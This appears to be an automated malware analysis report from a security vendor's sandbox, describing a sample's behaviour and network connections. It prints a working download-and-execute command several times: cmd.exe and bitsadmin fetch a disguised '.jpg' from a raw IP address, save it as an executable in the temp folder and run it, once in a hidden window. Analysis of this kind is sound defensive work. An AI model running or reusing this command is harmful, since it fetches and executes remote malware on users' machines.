Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer /download "http://89.248.169.136/bigmac.jpg" "%tmp%/ASDlkoa.exe" && "%tmp%/ASDlkoa.exe"
Network activity
Connects to
- '89.##8.169.136':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer /download "http://89.248.169.136/bigmac.jpg" "%tmp%/ASDlkoa.exe" && "%tmp%/ASDlkoa.exe"' (with hidden window)
Executes the following
- '<SYSTEM32>\bitsadmin.exe' /transfer /download "http://89.248.169.136/bigmac.jpg" "%LOCALAPPDATA%\Temp/ASDlkoa.exe"
